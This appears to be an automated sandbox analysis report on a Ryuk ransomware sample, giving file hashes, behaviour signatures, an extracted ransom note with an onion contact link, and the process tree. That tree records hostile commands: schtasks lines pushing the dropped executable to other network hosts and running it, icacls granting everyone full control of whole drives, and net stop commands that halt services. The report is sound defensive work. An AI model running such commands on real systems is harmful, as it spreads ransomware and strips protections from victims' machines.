Overview

overview

10

Static

static

8

0323b4326b...02.exe

windows7_x64

10

0323b4326b...02.exe

windows10_x64

10

0898a80dc2...92.exe

windows7_x64

10

0898a80dc2...92.exe

windows10_x64

10

0aaecf7f77...91.exe

windows7_x64

10

0aaecf7f77...91.exe

windows10_x64

10

150e8ef3f1...02.exe

windows7_x64

10

150e8ef3f1...02.exe

windows10_x64

10

23e95ba676...7f.exe

windows7_x64

10

23e95ba676...7f.exe

windows10_x64

10

28e7dc4aeb...33.exe

windows7_x64

28e7dc4aeb...33.exe

windows10_x64

10

350b0d6ae2...d7.exe

windows7_x64

1

350b0d6ae2...d7.exe

windows10_x64

1

3a6ebac4f8...ca.exe

windows7_x64

10

3a6ebac4f8...ca.exe

windows10_x64

10

3fe801df14...4f.exe

windows7_x64

8

3fe801df14...4f.exe

windows10_x64

8

41367ad447...00.exe

windows7_x64

10

41367ad447...00.exe

windows10_x64

10

48f4749f13...77.exe

windows7_x64

1

48f4749f13...77.exe

windows10_x64

1

499d936c22...82.exe

windows7_x64

10

499d936c22...82.exe

windows10_x64

10

4b5a6926ab...d1.exe

windows7_x64

1

4b5a6926ab...d1.exe

windows10_x64

1

4bb0d8eb6b...81.exe

windows7_x64

10

4bb0d8eb6b...81.exe

windows10_x64

10

5de3d5a337...ed.exe

windows7_x64

10

5de3d5a337...ed.exe

windows10_x64

10

5e2b2fe65d...20.exe

windows7_x64

1

5e2b2fe65d...20.exe

windows10_x64

3

Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30-03-2021 11:28

Sharing

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Report Analysis Logs

General

  • Target

    3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca.exe

  • Size

    200KB

  • MD5

    ad3a5956dc4e8fd6a62671a6204d11b9

  • SHA1

    aac34bd5c2f8e63dca20034f24384c2ce1d641b5

  • SHA256

    3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca

  • SHA512

    23edec2ddc72277efca922dc7c66fef2220d0ad3709b277c236bd883214e423143a947ff48ec2a8b57b1835b715a06b39b7d1c2a423e62dc4166ad5097742f13

Score
10/10
ryukdiscoveryransomware

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note
contact balance of shadow universe Ryuk $password = 'nO49CJnf9vO'; $torlink = 'http://rk2zzyh63g5avvii4irkhymha3irblchdfj7prk6zwy23f6kahidkpqd.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};
URLs

http://rk2zzyh63g5avvii4irkhymha3irblchdfj7prk6zwy23f6kahidkpqd.onion

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 22 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca.exe
    "C:\Users\Admin\AppData\Local\Temp\3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Users\Admin\AppData\Local\Temp\LoFhRFEXFrep.exe
      "C:\Users\Admin\AppData\Local\Temp\LoFhRFEXFrep.exe" 9 REP
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:196
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.23 /TN YXegDng /TR "C:\Users\Public\LoFhRFEXFrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4720
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.38 /TN TvRekwh /TR "C:\Users\Public\LoFhRFEXFrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4700
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.15 /TN u05nFWG /TR "C:\Users\Public\LoFhRFEXFrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:5020
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.27 /TN b8P5YwG /TR "C:\Users\Public\LoFhRFEXFrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:1704
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.34 /TN XcNZBTL /TR "C:\Users\Public\LoFhRFEXFrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4520
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.40 /TN yfXD1u5 /TR "C:\Users\Public\LoFhRFEXFrep.exe" /sc once /st 00:00 /RL HIGHEST
        3⤵
        • Creates scheduled task(s)
        PID:4724
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /S 10.10.0.23 /Run /TN YXegDng
        3⤵
          PID:6784
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /S 10.10.0.38 /Run /TN TvRekwh
          3⤵
            PID:6792
        • C:\Users\Admin\AppData\Local\Temp\IzurtFZPmlan.exe
          "C:\Users\Admin\AppData\Local\Temp\IzurtFZPmlan.exe" 8 LAN
          2⤵
          • Executes dropped EXE
          PID:936
        • C:\Users\Admin\AppData\Local\Temp\WyffKgIzulan.exe
          "C:\Users\Admin\AppData\Local\Temp\WyffKgIzulan.exe" 8 LAN
          2⤵
          • Executes dropped EXE
          PID:4480
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\*" /grant Everyone:F /T /C /Q
          2⤵
          • Modifies file permissions
          PID:4596
        • C:\Windows\SysWOW64\icacls.exe
          icacls "D:\*" /grant Everyone:F /T /C /Q
          2⤵
          • Modifies file permissions
          PID:4608
        • C:\Windows\SysWOW64\net.exe
          "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4888
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "audioendpointbuilder" /y
            3⤵
              PID:4612
          • C:\Windows\SysWOW64\net.exe
            "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4960
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "audioendpointbuilder" /y
              3⤵
                PID:4760
            • C:\Windows\SysWOW64\net.exe
              "C:\Windows\System32\net.exe" stop "samss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4980
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "samss" /y
                3⤵
                  PID:1012
              • C:\Windows\SysWOW64\net.exe
                "C:\Windows\System32\net.exe" stop "samss" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5080
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "samss" /y
                  3⤵
                    PID:4756

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/196-9-0x0000000002060000-0x0000000002061000-memory.dmp

                Filesize

                4KB

                Download

              • memory/580-3-0x0000000000490000-0x00000000004AF000-memory.dmp

                Filesize

                124KB

                Download

              • memory/580-26-0x0000000002F50000-0x0000000002F51000-memory.dmp

                Filesize

                4KB

                Download

              • memory/580-27-0x0000000003750000-0x0000000003751000-memory.dmp

                Filesize

                4KB

                Download

              • memory/580-2-0x00000000021F0000-0x00000000021F1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/580-4-0x0000000035000000-0x0000000035028000-memory.dmp

                Filesize

                160KB

                Download

              • memory/936-16-0x00000000020A0000-0x00000000020A1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/4480-22-0x00000000020B0000-0x00000000020B1000-memory.dmp

                Filesize

                4KB

                Download